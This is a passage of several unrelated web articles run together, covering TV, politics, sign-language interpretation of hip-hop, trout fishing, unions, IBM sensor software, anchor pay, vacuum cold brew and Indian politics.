because I always turn to my medical roots. I hope I’d be out there trying to do what I could using those skills that I have. What kind of hints, however small, can you give us about what’s to come in season two when the show returns in June? Some new characters, certainly. They’re going to turn things upside down. We’ll find out where they were, because it’s only been two weeks since the dome came down. And we’ll maybe meet someone that’s related to Junior and Big Jim. Do you have a favorite memory, on screen or off, from working on Under the Dome so far? I think my favorite memory is seeing the cut of episode seven. Watching the whole episode and going, “Oh my gosh. That is really, really powerful.” That took me through so many emotions and so many feelings that it was almost like I was just an audience member. I was so separated from having done it that I was able to watch it for the first time, and it really hit me like, “Wow. This is intense! This is sad! This is moving! This is really, really great.” That’s my favorite moment. My second favorite is in episode five when the bomb hits and Norrie and Joe are kissing and the music is playing Skeeter Davis’s “End of the World.” I love that. I was on YouTube when that happened and people were commenting on the video of her singing the song from 1965 and saying, “The dome brought me here. The dome brought me here.” That was really gratifying. Under the Dome: The Complete First Season arrives on Blu-ray & DVD on November 5. -The video will start in 8 Cancel Get the biggest politics stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Ken Livingstone has claimed the Venezuelan crisis is "propaganda" that may be "engineered" by the United States in a fiery radio interview. The ex-London mayor also called for Britain to ape Venezuela's sweeping reforms and suggested it's in crisis because its former leader didn't "kill all the oligarchs". Socialist President Nicolas Maduro has been branded a "dictator" by Britain and the US after winning sweeping powers in an election on Sunday. Smartmatic, the firm which created Venezuela's electronic voting system, claimed the official turnout was "manipulated" by at least a million votes. Violent clashes have also killed more than 100 people and two opposition leaders were seized from their homes at night and jailed. But Mr Livingstone, who remains suspended from the Labour Party more than a year after saying Hitler supported Zionism, claimed Venezuela is "not a dictatorship" and we won't know "for decades" if the election was hit by fraud. (Image: Getty Images Europe) (Image: REUTERS) (Image: REUTERS) The veteran left-winger clashed with right-wing TalkRadio host Julia Hartley-Brewer over details of the unrest in the South American country. “Give me the evidence," he told her. "You’ve given me the propaganda that’s circulating round the world. “The simple fact is, people are trying to overthrow [Maduro's] government who have armed people on the streets from the opposition killing people. You’ve got people blockading the import of food and medicines and so on. “If there’s any evidence that Maduro wants to create a one-party state, I would immediately oppose that.” (Image: REUTERS) Asked if the election was proof of that, Mr Livingstone said: "It’s quite clear their governmental system isn’t working. "You’ve got a lockdown between the parliament and the president, both of whom have been elected. He’s created a constitut- I mean, I’d like to see us do that here in Britain. "It’s time we had a real look at our constitution because we’re the most centralised of all the western countries. Local councils are just little rubber-stamps." Mr Livingstone said former President Hugo Chavez, who died in 2013, brought people out of poverty and created a "fair system". “Now there are real problems and Maduro’s got to tackle them," he said. “But one of the things when that Chavez did when he came to power, he didn’t kill all the oligarchs. (Image: EPA/MIGUEL GUTIERREZ) (Image: EPA/MIGUEL GUTIERREZ) "There were about 200 families who controlled about 80% of the wealth in Venezuela. He allowed them to live to carry on. "And I suspect a lot of them are using their power, their control over imports and exports, medicines and food, to make it difficult and undermine Maduro." Later Mr Livingstone clarified: "I didn't advise him to kill the oligarchs. I advised him to invest in infrastructure. I’m not in favour of killing anyone”. But he repeated his claim that other forces, namely the US, could be behind the current unrest. "Nothing undemocratic is justifiable, but I want to wait and see the truth," he said. “In 30 years when I’m 102, have me on the programme and we’ll examine the American government documents that have been released by them from the CIA. “And I suspect we’ll discover a lot of this crisis has been engineered, as it was in Brazil in ’64, in Argentina and in Chile." (Image: Getty) It comes as Jeremy Corbyn , a previous ardent supporter of Venezuela who is on holiday in Croatia, is facing pressure to condemn Maduro from Tory chiefs and two Labour MPs. Labour raised concerns over the worsening situation in Venezuela on Monday in a statement by Shadow Foreign Office Minister Liz McInnes. She raised concerns over Maduro's "authoritarian" rule, condemned "repression, division, and violence" and said "human rights, free speech and the rule of law" must be protected. A spokeswoman for the Labour leader said yesterday: "The Labour Party 's statement on Monday made clear our position on the importance of the respect for the rule of law and human rights. "We're watching the situation and developments in Venezuela closely." -Music Meet the Hands (and the Man) that Bring Chance the Rapper to the Deaf No one has more fun at a Chance the Rapper show than Chance himself. But a close second, at stage left, is Matt Maxey—who, along with his company, DEAFinitely Dope, is translating the magic of Chance shows for deaf concertgoers. Ashley Fetters hung out with Maxey at Lollapalooza to find out how this hip-hop fan became “the deaf Kanye West.” Like any second language, American Sign Language gets a little easier to communicate in when you're drunk. Or, more accurately, when you're a little drunk—as any undergrad minoring in Spanish or Italian or Mandarin can attest, get a certain number of drinks in you and the fluency bell curve nosedives right back down. Which is why, two hours before he does sign-language interpretation for Chance the Rapper's headlining Lollapalooza show in Chicago's Grant Park, 29-year-old Matt Maxey has capped off his last recycled soft-drink bottle of the day, stashed it in his backpack, and switched to water before he heads backstage. "I'm probably at about a six-and-a-half now," he says, laughing. Earlier in the day, out among the sunburned Lolla revelers, "I was probably at about a nine." Maxey's certainly not the first Lollapalooza performer whose pre-show regimen consists of cognac and Jazz-flavor Black & Milds; we've all seen those leaked celebrity tour riders. And after all, the Atlanta-born Maxey is a bit of a celebrity himself. Even before he started attracting attention signing at Chance the Rapper's shows in July, deaf and hard-of-hearing hip-hop fans had already begun referring to him as "the deaf Kanye West." Later on in this unseasonably mild August night, on Lolla's towering Grant Park stage, Chance the Rapper will pause during his anti-record-label anthem "No Problem" and let the audience finish his signature line: "Countin' Benjis while we meetin', make 'em shake my other hand." At that precise moment, though, Maxey's hands will be signing the phrases "counting money" and "meeting," then miming a left-handed handshake followed by an emphatic middle finger. Maxey's ASL interpretation is an explosive, code-switching mishmash of textbook American Sign Language, pantomime, and makeshift signs he's cobbled together for slang words native to hip-hop ("molly," for example, combines gestures for "pill" and "sex"); the way he signs is as worldly and wry and improvisational as he is. And there's a reason for that: Although he's had profound hearing loss his whole life ("Whatever hearing is still left right before you're completely deaf, that's severely profound hearing loss," he explains) and is now one of the most visible people in his profession, Maxey didn't learn sign language until he was 18. Matt Maxey was outfitted with hearing aids at the age of two, after his occupational-therapist grandmother noticed his hearing seemed off. Maxey learned to speak with the help of speech therapists, and at school, his teachers simply spoke into a microphone that transmitted directly into his two hearing aids. ("What they didn't know is that I was turning mine off," he says with a laugh.) So Maxey didn't begin learning to sign until he enrolled at Washington, D.C.'s, Gallaudet University, the world's only university for the deaf and hard-of-hearing. Which wasn't a positive experience at first. "I never really knew about deaf culture," Maxey says. "All I knew was talking. I never signed. And they would always get mad at me; I could talk and they couldn't. It became kind of a hostile environment." Growing up in Atlanta, Maxey was exposed from an early age to hip-hop. So at night in his dorm room, Maxey practiced his sign language along with the lyrics of his favorite musicians—like J. Cole and Kendrick Lamar—and in 2010, at the urging of a friend, he uploaded to YouTube a video of himself signing along to Lil Jon & the East Side Boyz's "One Night Stand." ("One-night stand," for what it's worth, comes out to something more like "one-night fuck" in sign language. "Signing 'stand' doesn't make sense. You're not standing up," Maxey explains, then chuckles. "Well, you may be standing up.") Maxey later dropped out of Gallaudet. Over the next few years, he worked as a pizza-delivery driver, a mobile-car detailer, and a UPS unloader in Jacksonville, Florida, and attended a few classes at a community college. But his sink-or-swim immersion in deaf culture continued out of necessity: Around 2013, his hearing aids stopped working, and he remembers with a laugh that at the time he was too broke to fix them. He kept making videos, though, learning new song lyrics by turning the volume all the way up in his earbuds—and last summer, his ASL video for DMX's "How's It Goin' Down" went viral after it surfaced on Reddit. Around the same time, Maxey reached out to Kelly Kurdi—a Houston-based hearing sign-language interpreter who'd also released some music-translation videos on YouTube—to ask if she'd like to do a music video together. Several videos and one new friendship later, Kurdi and Maxey founded DEAFinitely Dope, a performance group dedicated to helping deaf and hard-of-hearing fans enjoy live shows. The Starkey Hearing Foundation contacted Maxey shortly afterward and outfitted him with Bluetooth-enabled hearing aids that connect to his iPhone and iPad and can play music right into his ear like an earbud. "What's amazing about Matt is he's not only bilingual, he's bicultural," says Kurdi, 35. "At first he felt too deaf to be hearing and too hearing to be deaf. But now it's a huge benefit; he's able to, for example, talk to Chance, and there's no lull in the conversation. He's able to talk about different hip-hop artists. He's able to talk about whatever basketball game. And then he can go into the deaf culture, and he can connect with all of them and sign." Maxey moved to Houston, and the team expanded to include a videographer, a manager, and Amber Galloway Gallego, another hearing ASL interpreter. Earlier this summer, they hosted an ASL hip-hop camp for adults and kids, then booked their first festival gig at Bonnaroo—where their work alongside D.R.A.M. caught the eye of Chance the Rapper. Maxey’s passion and his obvious love of music are the first things Chance remembers noticing at that Bonnaroo show. “He conveyed so much emotion through signing,” Chance writes in an e-mail. “It was incredible to watch.” And then a lot happened, very quickly. "He called the Access Department, the Sign Language Department, and he was like, 'Yo, I want to meet that dude interpreter you have,'" Maxey remembers. "Because I'm the only black young guy interpreter over there, they knew it was me. It was early in the morning when I heard, and I thought, 'Okay, y'all playing. It's too early in the morning. I just woke up. You know I had a good night last night. Don't tell me this first thing in the morning.'" Chance invited Maxey and DEAFinitely Dope to join him onstage for two shows in Miami and Tampa—where Maxey's friends from the Florida deaf community turned up in force. Then DEAFinitely Dope tagged along to Wisconsin and Delaware for shows before becoming the official ASL interpreters of the rest of Chance the Rapper's 2017 tour. At every show he can, Chance gives away free tickets to deaf and hard-of-hearing fans. “It's a great feeling to know we're including people who are often left out when it comes to live shows,” Chance writes. “Which is also why we're advocating for more artists to link up with DEAFinitely Dope and figure out how to bring music ASL interpreters into their spaces.” These days, Chance himself sometimes busts out the ASL sign for "blessing" onstage when he performs "Blessings," and has been known to offer a sign-language "thank you" to his deaf and hard-of-hearing fans. "Every time we see him, he asks for a few signs," Kurdi says. Chance’s other favorite sign he’s learned from the DEAFinitely Dope team is “miracle.” Meanwhile, Kurdi says, Chance's manager, Pat, loves to sign "too much sauce." "He'll learn funny lines like that," Kurdi remarks. "He's always like, 'I'm Pat. I've got too much sauce.'" There's a line in Chance the Rapper's "Favorite Song" that Maxey still puzzles over sometimes, and it goes like this: "Dang dang dang, skeet skeet skeet / She do that thing for three retweets." It's not the "dang" or the "skeet" that presents the issue (yes, "skeet" is what you think it is in sign language); it's the retweets. Sometimes, Maxey simply fingerspells "RT." Other times, he makes a tiny beak with his fingers and then signs "phone"—"Twitter." "It depends on the audience," Maxey says. "If their English is strong, I spell. If their ASL is strong, I sign: Bird on phone. Social media." It’s challenging in 2017 to be a good sign-language interpreter of hip-hop music, and it's only partly because the genre finds itself in a lyrically experimental phase lately. A few months back, for example, a video of a sign-language interpreter at a Waka Flocka show went viral. According to Maxey, this particular interpreter abbreviates too much, boiling down the sentiment "I go hard in the paint" to something more like "I'm great." "To me, 'going hard in the paint' is like, I'm driving down the lane, about to slam-dunk it," Maxey says. "If it were me interpreting, I'd be like, 'He's driving,' or 'He's going into the paint.'" Maxey ran into a similar problem trying to sign through Migos's "T-Shirt." "I got to 'neck water faucet' and was like, What the fuck does that mean?" Maxey says. Eventually, it dawned on him: "Water is like diamond. He's got so many diamonds on his neck, he's running like a faucet." Other translators, though, get too literal, Maxey says; he's seen interpreters use the "campfire" ASL sign when, say, a pair of sneakers is fire, or you're smoking fire next to your window at night to relax. But come to think of it, Chance's songs have a few potential landmines themselves: In Chance's "Smoke Break," "you wouldn't say you're smoking a bowl," Maxey says, with his hands out cupping the air in front of him. "No. You're smoking a bowl," Maxey repeats, this time with one hand holding an imaginary pipe and the other cocked at a lighterly angle above it. And then, of course, sometimes a rapper says the N-word, and the cross-cultural can of worms springs open. When he can, Maxey skips it to avoid controversy: "If it makes sense in context, sometimes I just replace it with 'homie,'" Maxey says. "Even I never really get used to seeing that word signed." But when there's no reasonably clean substitution, all three interpreters sign the ASL term for that particular slur onstage, and it's usually Kurdi and Gallego, who are white, who catch flak on social media for using it. Which is why Maxey—who, as a deaf black man, is a demographic rarity among ASL interpreters—is such a crucial figure. "A lot of interpreters want to interpret hip-hop music, but they don't know the culture. They don't know the slang," Kurdi explains. "Matt wants to change the game for interpreters." Sometimes, though, ASL interpretation is hard just for plain old technical reasons. For example, Maxey says, "I love listening to the music, but I would hate to interpret Busta Rhymes." How come? "Fast as fuck," he laughs. The deaf and hard-of-hearing access section of Lollapalooza's Grant Park stage is stationed right between the performers and the general-admission audience, at the forefront of the crowd—the logic being, presumably, that this way deaf concertgoers have a better view of the ASL interpreter, plus most of the people standing flush in front of the megastage are already deaf. So as Matt Maxey dutifully sobers up before he performs for the largest crowd of his career, he also provides mesmerizing up-close entertainment for the immobilized front row of regular-admission festival-goers. Girls in lace bralettes wave him over to teach them how to sign "Hi, my name is" and "Nice to meet you," while guys in Anthony Rizzo jerseys with the sleeves cut off reach across a low metal fence to bump shoulders in a bro-hug. But it's the folks starting to gather inside the Deaf/HOH access zone who are really Maxey's people. These are the fans he and Kurdi have texted with over the past few days, helping them make sure they've gotten the accommodations they need from the festival, and it's these people who ensure that every morning Maxey wakes up to an avalanche of social-media push notifications on his phone, sometimes a hundred strong. "Can I visit them? Can I come perform for them? They have a deaf brother. They have a deaf sister. They feel inspired. They just learned sign language. They want to learn more," Maxey says. Patrick Petty, a fan who came to see Maxey and DEAFinitely Dope perform at Chance's Lolla show, says his deaf sister, Annie, "looks at Matt like I look at Jay-Z." A lifelong hip-hop fan and a new friend of Maxey's, Petty says he and his sister can finally lose their shit over music together thanks to Maxey and the videos they watch of him on Instagram, and though she couldn't make it to Lolla, he can't wait to bring her to a show. "We're gonna cry tears of joy over this shit," he says. Chance himself recognizes there’s an opportunity—a need, even—to connect with people like Annie. “One of the most important things I can do on tour is give access to all people, to all fans,” Chance writes. “No one should feel excluded from my show. So it was a blessing to meet Matt and DEAFinitely Dope, to help welcome the deaf community.” Eventually, a tall young woman in a baseball cap and a Deaf/HOH Access wristband engages Maxey in what looks unmistakably like some lively sign-language banter. They exchange phones for a moment and then exchange them back. Then, all at once, Maxey has to be backstage; for the next two hours, he and Kurdi and Gallego make the communication gap between Chance and the 50 or so deaf fans gathered in the Deaf/HOH section feel ever smaller. The fans sway and sign to each other, and occasionally sign Chance the Rapper's "sign name"—two fingers and a thumb on the right hand, raised up toward the right temple. After the show, the three interpreters pose for a photo with all the deaf fans; Maxey puts the official setlist between his teeth, and everyone throws up the "I love you" sign. "I think a lot of hearing people don't appreciate how much we get out of music," Kurdi says. "We listen to a song, it takes us back to childhood or it puts us in a good mood or it makes us want to party or it makes us connect. That's why there's, say, a graduation song—we all recognize it and we all connect to it. "Deaf people miss out on all that, and they shouldn't have to," she says. "So to have an artist say, 'I want interpreters on my show, at every show, and I want deaf people to come in and join us for free' has been just so amazing. To feel like someone cares about them, for one, and for two, to hire a company that is owned by a deaf person? There's a million others out there that are owned by hearing people." -There’s nothing wrong with killing a few trout every now and then. They’re delicious — and taking out a few smaller trout might actually help the stream. As of Saturday, April 16, keeping trout is legal in Minnesota trout streams; Wisconsin’s inland harvest season starts May 7. (Lake trout remain closed in Minnesota until May 14.) Anglers already have been fishing stream trout in both states for months during lengthy catch-and-release seasons. From my own time on the water to posts on message boards to reports from biologists, anglers in both southeast Minnesota and southwest Wisconsin will enjoy trickles, streams and rivers with ample fish populations this year. In many, if not most, designated trout streams, the populations are healthy enough to handle some harvest. That’s why regulations allow it. In fact, trout populations in some streams might be more balanced with some human predatory influence. In streams with high densities of trout under 12 inches, those growing throngs can limit the food needed for a trout to grow large. And many of the small trout will die anyway. Rule of thumb: About half of each generation of young fish die each year from natural causes. “If somebody’s thinking about harvesting fish from these high-density streams, harvest,” said Brian Nerbonne, stream habitat consultant for the Minnesota Department of Natural Resources. “We can have them taken home by anglers, or a portion of the fish will die anyway from natural mortality on the highest density streams.” Two things need to be said here: First, catch-and-release must remain the default. That ethic, along with conservation land-use programs, are to thank for the streams and fish we have. Second, some will regard this whole topic as blasphemy. “I could never kill a trout,” a friend of mine once told me once after releasing a rainbow trout from a western stream. Regulations actually demanded the rainbow be killed because they threaten native cutthroat populations. The catch-and-release mindset can be taken too far. I know plenty of conservation-minded anglers who occasionally take a few trout home for dinner, although they know it can be touchy to talk about in some circles. Whether to kill a driftless-area stream trout is a personal decision, Here’s how I make mine. Related Articles 4 missing after blizzard conditions strand dozens of anglers on Lake of the Woods DNR confirms Jordan man’s sturgeon catch as biggest in state records After systems crash, Forest Service to relaunch BWCA permit reservations March 4 After three years, anglers will be able to keep some Mille Lacs walleye Sturgeon caught in the St. Croix near Bayport could be largest MN fish on record Trout I keep are generally: Small. 6 to 10 inches. They have small bones, supple flesh and are a beauty to serve skin-on, especially poached. Only when they’re abundant. I know this either from DNR data or because I’ve already caught a bunch. Generally from larger streams, or at least big holes. I want to leave plenty for the next angler. Generally browns or stocked rainbows. Brook trout are usually less common. Trout I throw back are generally: Most trout I catch. Two to three is plenty. These are fresh delicacies, not for the freezer or a big fish fry. From streams I can jump across. It’s just hard to imagine that those little spring creeks can handle much harvest. Those handsome 14 to 16 inchers that everyone loves to catch — unless there’s a ton of them. Lunkers. I’ll never say never. And I know that the big ones are often past their reproductive peak. But I want to know they’re still there when I leave. Know the regulations of the stream you’re fishing. They sometimes change to reflect a change in the fish population. Savor every bite. -The idea of coming together in common cause is woven into Washington’s social fabric, especially into its union history. But labor has suffered reversals before, and it suffered a large one on Jan. 3, when the Machinists union voted by a narrow margin to abandon the Boeing pension plan. At stake was a key production line. Now union members and leaders are asking themselves – how can the labor movement recover when one of the strongest unions in the country buckled under the pressure? Among them was Billy Cox, who went to the Machinists’ Hall in South Seattle to find answers for himself and his colleagues. “I want to not only be looking at short term – what’s happening now – but I want to know what we are going to be doing and what we’re going to look like as a union ten years from now,” he said in an interview. Cox said he and his colleagues are concerned about the future. “We’re looking for information to see how we can come back together as a complete, whole union. Because the union was split.” Seattle’s roots in the labor movement are deep. This was the site of the nation’s first city-wide general strike in 1919. The old Labor Temple in Belltown, with its mid-century features and famous neon sign, is still the central place where the labor movement comes together. -Dr. Thorsten Kramp, research staff member and co-developer of Mote Runner at IBM Research - Zurich, holds a mote programmed with Mote Runner to detect movement and light. In IBM's planned future, everything will communicate with everything. The company has now announced a new software development kit, Mote Runner, that will allow programmers to put anything from coffee makers to environmental monitoring systems on the "Internet of things." Mote Runner -- nicknamed for motes, wireless sensor nodes that gather information and refer it back to a network -- can interlink any hardware equipped with wirelessly connected sensors. The extremely lightweight software is made to run on sensor chips tiny enough to be built into almost anything. IBM Research, which built Mote Runner, aims to increase adoption of such wireless sensor networks by making them easier to program and use. Mote Runner apps can live in a tiny 64K of memory, and be written in standard languages like Java or C#. The apps can be debugged and deployed on simulated motes that run on a host computer. In theory, motes can be connected across large or remote areas like agricultural fields, multi-story buildings, rainforests or glaciers, IBM says. Eventually, using chips that can connect any gadget, you could "talk" to all your home appliances from afar. Mote Runner uses an 8-bit processor, 8 KB of RAM and a tiny 64 KB of flash memory storage. Its minimalist needs will allow it to run on small, inexpensive chips, which can be integrated into practically any device. With the right app, Mote Runner could check on the status of elderly people at home, monitor agricultural processes, check building maintenance and security, and a host of other functions, Fast Company notes. MEMSIC, a micro-electromechanical systems and sensor manufacturer, plans to offer Mote Runner on its popular IRIS sensor. [IBM Research via Fast Company] -'I found out I was the lowest paid at the table': Morning Joe's Mika Brzezinski reveals she almost quit over gender pay gap Morning Joe co-host Mika Brzezinski has revealed she almost quit the show after just a year because she was earning far less than her male colleagues. The 44-year-old said she discovered she took home 14 times less than co-host Joe Scarborough - so little she struggled to make ends meet. Ms Brzezinski makes the revelations in her new book, 'Knowing Your Value', in which she discusses how women can negotiate the salary they're worth. Scroll down for video Unfair pay: Mika Brzezinski has revealed she almost quit MSNBC's Morning Joe because she earned far less than her male colleagues The revelations come as her former CBS colleague, Katie Couric, is rumoured to be negotiating a $20million deal to move to ABC - despite complaining about sexism holding back her pay in the past. In an interview about her book on Morning Joe, Ms Brzezinski revealed she planned to resign in 2008, after only 12 months on the show. She said: 'I had found out I was the lowest paid at the table and sometimes by far. 'I didn't think I should be making more than any of you guys, but I thought I should have been a lot closer. Pay gap: Mika Brzezinski has revealed she used to earn 14 times less than her co-host, Joe Scarborough. It took her five attempts to negotiate a pay-rise 'Joe's the creator of the show, and so there's some obvious differences that can be built in, but these were vast.' Ms Brzezinski joined MSNBC as a freelance reporter in 2007, after she was fired from CBS in a 'pretty ugly' dismissal. She said she came 'crawling back into the business' and took a huge pay cut - but then her money failed to go up when she became Morning Joe co-host a few months later. She said: 'I realised instead of blaming it on MSNBC, it was me, that I didn't understand my value, and this was a common problem I'd had throughout my career... feeling like I was at the bottom of the barrel inside because of the deal I had cut for myself.' Negotiation: Ms Brzezinski said she continually undervalued herself. Former colleague Katie Couric, right, is rumoured to be negotiating a $20m deal with ABC In fact Ms Brzezinski discovered she was earning 14 times less than her co-host, Mr Scarborough. TOP-PAID NEWS ANCHORS Matt Lauer (Today) $17million Katie Couric (CBS) $15million Brian Williams (NBC) $12.5 million Diane Sawyer (ABC) $12million Meredith Vieira (Today) $11million Bill O'Reilly (Fox News) $10million George Stephanopoulos (ABC) $8million Keith Olbermann (MSNBC) $7million Shepard Smith (Fox News) $7million Wolf Blitzer (CNN) $3 million Source: TV Choice (2010) She said: 'While he was coming from prime time, and he was worth a lot more, he's also the creator of the show, I was certainly not worth 14 less than him.' In the book, she writes: 'Despite my professional experience, the fifteen-hour workdays, and a successful new show that I had helped build, MSNBC was still refusing to pay me what I was worth. 'Not only was my salary lower than my colleagues’, each month was a financial scramble to make ends meet. 'After child care, on-air wardrobe, makeup, travel, and the other ridiculous expenses that women in this business end up taking on, the job was actually costing me more than I was being paid.' When present Willie Geist asked her why she didn't walk away, she replied simply: 'We fixed it.' It took Ms Brzezinski several tries to negotiate a better deal with her boss, Phil Griffin. Pay struggle: Mika Brzezinski highlights how women find it hard to negotiate higher salaries in her new book In an interview earlier this year, she told Marie Claire: 'My salary situation at Morning Joe wasn't right. 'I made five attempts to fix it, then realized I'd made the same mistake every time: I apologised for asking.' Just three out of the top ten best-paid news anchors in America are women. Speaking to panellists Nora Ephron and Norah O'Donnell - who she interviewed for her book - Ms Brzezinski said women find it difficult to negotiate a higher pay deal because they get 'embarrassed'. It's not something her former colleague, Katie Couric, seems to have struggled with. In 2008, she complained that sexism was holding back her salary as a CBS anchor, despite earning $15million a year. Ms Couric confirmed she was leaving the channel last month, and is rumoured to be negotiating a $20million deal with ABC. Visit msnbc.com for breaking news, world news, and news about the economy -Extraction: the one word that can sum up every coffee-making process in existence. You add a solid (coffee grounds) into a solvent (water), and voilà, you can enjoy an infused liquid (coffee). Unfortunately, extraction’s not always easy—or quick! The process can take seconds, minutes, or even days, depending on how it’s done. While investing time into getting the perfect coffee is commendable, I happen to have a ridiculously short attention span and am incredibly impatient—I’m not waiting 12 hours for a drink! So I turned to science, which helped me make cold brew in a fraction of the time it usually needs. Rapid Extraction The key to extracting espresso in mere seconds is manipulating the pressure. So how do you do that? Well, I rely on one piece of kitchen equipment: the chamber vacuum machine. Standard vacuum chamber machine Credit: Dapper Coffee What the Heck Does a Chamber Vacuum Machine Do? The chamber vac, typically used to seal bags, can do a lot more than that. Importantly for us impatient coffee-lovers, it: 1. Decreases pressure to extreme levels, and then decompresses to return to atmospheric pressure. 2. Forces surrounding liquid into a porous solid, and then sucks the liquid back out. Not sure what that has to do with extracting coffee? Well, let’s explore that now. Making the 60 Second Cold Brew “The Cold Fashioned”—vacuum infused cold brew served at Dapper Coffee Credit: Dapper Coffee It’s time to look at the method of making a rapidly infused cold brew coffee. The jargon may sound a bit complex, but trust me, the process is actually simple. Step 1: get a regular plastic container—any kind will do, so long as it fits in the machine—and put your grounds in it. I prefer to use a pretty fine grind with a 1:9 ratio of coffee to water. Credit: Dapper Coffee Step 2: add water. Any temperature and any kind of water is okay; I often use tap water at room temperature. Credit: Dapper Coffee Step 3: cling wrap the top of the container to prevent spillage. Ran out of cling wrap? I’m afraid you need to go out and buy some. Don’t be tempted to use the plastic lid that came with the tub instead; cling wrap is better because it allows more room for stretching during the vacuuming. Credit: Dapper Coffee Step 4: it’s time to set your machine. I normally set it to 60 seconds, which gives me a great syrupy tasting brew. Alternatively, 35 seconds gives me a cleaner liquid, almost like I’ve used a Chemex. However, different vacuum machines have different settings so feel free to tweak with yours. Credit: Dapper Coffee Step 5: close the lid and listen to the sweet vacuum action Credit: Dapper Coffee Step 6: for the first 15 seconds, it won’t look like anything is really happening. Don’t panic—that’s normal. Credit: Dapper Coffee Step 7: Bloop bloop bloop bloop! Suddenly, your liquid will come to a rolling boil. This is because the pressure has been lowered so much that room temperature has become the boiling point for the liquid—kind of like how water boils at a lower temperature up in the mountains because of lower atmospheric pressure. Cool, right? Credit: Dapper Coffee Step 8: Pssscchhhtttt! Decompression just happened. This step is handy because it takes all the air out of the liquid at once. The cling wrap has been completely sucked in Credit: Dapper Coffee Step 9: your coffee has been extracted. Remove the cling film and then filter the coffee with a strainer. If you wanted to remove all the sediments, you could even pass it through Chemex or V60 paper. And once you’ve done that, it’s time to enjoy your refreshing cold brew. Credit: Dapper Coffee For the Home Barista While chamber vacuums are super cool, they are also pretty pricey. Don’t worry, because a hoover actually works just as well. All you need is one of those vacuum bags with one-way valves—the kind you pack your clothes in when travelling. As seen on Heston Blumenthal’s Blackforest Gateau episode on “In Search of Perfection” BBC Food Channel – YouTube Aerated chocolate – the result of vacuum action! Don’t Limit Yourself to Coffee While we all love coffee, there’s also plenty of other things you can make with vacuum infusion. The process works with any porous solid and any solvent. At my bar, we whip up a deliciously fresh tasting strawberry syrup, which retains the juicy acidity of the fruit (as no heat is involved), and also a spiced rum using white rum, dried oranges and a variety of sweet spices. And of course, all of it is done in a minute or less. Too Good to Be True? So aside from the brevity, why is vacuum infusion so good? Well, it doesn’t compromise the flavours of the coffee, unlike the nitro-method (which I find makes the coffee taste really metallic). All the pure, beautiful flavours and aromas stay true. It’s easy, it’s quick, and it produces delicious coffee. What’s not to like? Next week, check in to learn how to filter coffee to crystal-clarity without using a single piece of filter paper! Written by Christine Seah. Perfect Daily Grind -He rose on the political sky like a new star of hope. In the run up to the election, he was euphemistically called the man of the masses, the ‘taqdeer’ of the nation. During the campaign, he claimed to have details of the Swiss bank accounts of the high and mighty in his diary and promised to eradicate corruption from the roots. The minorities flocked to him; the middle-class loved him; the youth dreamt of a revolution when he spoke and the poor believed he was their messiah. Riding on the euphoria, the promise of a new dawn, the two-year-old party decimated its rivals and formed the next government in Delhi. It was meant to be a new beginning. But it turned out to be the beginning of the end. Soon, the government turned into a never-ending drama full of conspiracies, betrayals, back-stabbing, ego clashes, damning revelations and ugly wars among its top leaders. Sounds like the story of Arvind Kejriwal and his ugly circus? Yes, it does. But this is a story of VP Singh and his government; the saga of yet another politician who flattered India only to deceive it later. Had former Prime Minister Singh been still alive, he would have seen striking similarities between himself and Kejriwal—from the beginning to the unfolding end. Had this not been real, Singh may have even been led to believe that his own biopic is now being played out in Kejriwal’s theatre of the absurd. A recurring theme of Indian politics has been that every few years a new politician catches the fancy of the nation. He rails against the establishment, promises to fight against the corrupt and dynastic Congress, packages himself as honest and holier-than-thou, sells dreams of better days, makes promises that sound sincere, coins catchy slogans— Raja (VP Singh) Nahin Fakir Hai, Desh ki Taqdeer Hai, for instance — and then walks away with the trust and hopes of the voters. And just when, after having invested heavily in the new neta on the block and as people wait for him to deliver, the bubble bursts. Either the politicians start fighting with each other—VP Singh vs Devi Lal vs Chandrashekhar vs Arun Nehru was a recurring theme during the Janata Dal government— or their mask comes off and they are revealed to be frauds and power-grabbers masquerading as fakir or aam aadmi for power. Like VP Singh, and before him the Janata Party and Rajiv Gandhi, Kejriwal and his entourage have yet again proved that hope in Indian politics is transient. In the end, as people are fond of saying, all of them are the same. The biggest difference between VP Singh and Kejriwal is that the former prime minister became a victim of his own circumstances. He suffered not only because of the friction within his own party but also due to the various forces pulling him in different directions from outside. Within the party, Chandrashekhar never liked Singh— he was deceived into believing that Devi Lal would become the PM instead of Raja Manda at the first meeting of the victorious MPs - the Haryanvi leader saw himself almost as an equal and was always conniving to dethrone Singh. Outside, the BJP was raising the temperature on Ram Mandir much to the discomfort of the ‘secular’ PM and his communist allies. On the sidelines, the Congress—the single -largest party in spite of the loss— was stoking internal differences and widening the rifts between allies of the ruling coalition to re-launch its bid for power. From the very beginning, Singh found himself in a snake-pit, with pythons waiting at the exit. In a desperate bid to save his chair, Singh, who had packaged himself as a mendicant who would readily sacrifice power, unleashed the Mandal Commission, sacked Devi Lal and some other colleagues and then clung on to the job even after the BJP withdrew support to his government. In the end, people never forgave Singh for his greed for power and the havoc he unleashed in its pursuit. Perhaps Singh would have acted differently if he had, like Kejriwal, got a brute majority and the politics of his time had not come under strain because of the Ram Mandir agitation. In the end, the attenuating circumstances contributed to his downfall. But Kejriwal had it made. There were no external pressures on him, no social or communal divisions threatened to test his acumen and his deputy — unlike an ambitious and egoistic Devi Lal— appeared to be his yes man. Yet, Kejriwal and his party are on the brink of implosion; their goodwill has disappeared and the mask has slipped off. There is just one person to be blamed for this slide: Kejriwal. Shazia Ilmi says the Delhi chief minister is insecure, power-hungry and thinks only about himself. Till a few days ago, nobody would have believed Shazia, but now the evidence, including allegations of Kejriwal’s efforts to divide the Congress to rule Delhi, is compelling especially given the latest allegations by a former Aam Aadmi Party legislator accusing Kejriwal of trying to poach six Congress MLAs to form the government and former Congress legislator Asif Mohammad Khan alleging that senior AAP leader Sanjay Singh had offered him a ministerial berth in return for support. Kejriwal seems to have several fatal flaws. His insistence on retaining the AAP convener’s post (even Sonia Gandhi and Narendra Modi never enjoyed two positions), his inability to act like an unbiased leader and instead play petty power games like a faction leader or restrain his colleagues from fighting puerile battles in public are as serious as his intransigence to adhere to principles of internal democracy, and his predilection for sycophants and impatience. He seems to be in a hurry to do everything: form the government, quit, contest polls, and oust colleagues all at the same time. And these have all combined to bring about his precipitous decline. Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button. -The three fastest growing airports in Europe are all in Romania, led by the little-known city of Oradea in the north-west of the country, which experienced nearly 500 per cent growth in 2016. 